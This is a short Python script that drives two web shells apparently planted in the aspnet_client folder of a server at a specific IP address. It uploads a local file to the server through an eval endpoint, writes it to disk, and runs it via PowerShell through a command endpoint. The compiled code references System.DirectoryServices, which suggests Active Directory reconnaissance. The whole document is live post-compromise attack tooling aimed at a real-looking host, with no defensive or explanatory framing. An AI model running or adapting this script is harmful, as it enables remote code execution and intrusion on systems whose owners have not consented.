#!/usr/bin/env python3
import requests, base64, sys
requests.packages.urllib3.disable_warnings()
EVAL="https://213.6.54.59/aspnet_client/movvtf.aspx"; CMD="https://213.6.54.59/aspnet_client/c.aspx"
def ev(code): return requests.post(EVAL, data={"exec_code":code}, verify=False, timeout=300).text.split('!BD')[0]
def cmd(c): return requests.get(CMD, params={"cmd":c}, verify=False, timeout=300).text
f=sys.argv[1]; tgt=sys.argv[2]
src=open(f,"rb").read(); b64=base64.b64encode(src).decode()
tgt_js = tgt.replace('\\', '\\\\')
print("up:", ev('var b=System.Convert.FromBase64String("%s");System.IO.File.WriteAllBytes("%s",b);Response.Write("W="+b.Length);' % (b64, tgt_js)).strip())
print(cmd("powershell -nop -Command $a=Add-Type -TypeDefinition (Get-Content '%s' -Raw) -ReferencedAssemblies System.DirectoryServices -PassThru; Write-Output ($a[0].GetMethod('Run').Invoke($null,@()))" % tgt))